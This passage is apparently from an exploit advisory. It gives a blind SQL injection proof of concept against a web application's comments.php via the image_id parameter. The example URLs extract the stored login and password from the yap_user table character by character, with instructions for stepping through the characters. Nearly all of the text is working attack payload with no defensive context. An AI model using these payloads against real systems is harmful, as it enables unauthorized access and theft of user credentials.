  The default prefix for database tables is "yap_" .But can be changed
at installation.

 PoC :

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1))>97

   First character of the username is char(97) , is "a" .

     http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring((SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1))>100

   Second character of the username is char(100) ,is "d" .

 And so on...Change the limit to go to the next char.
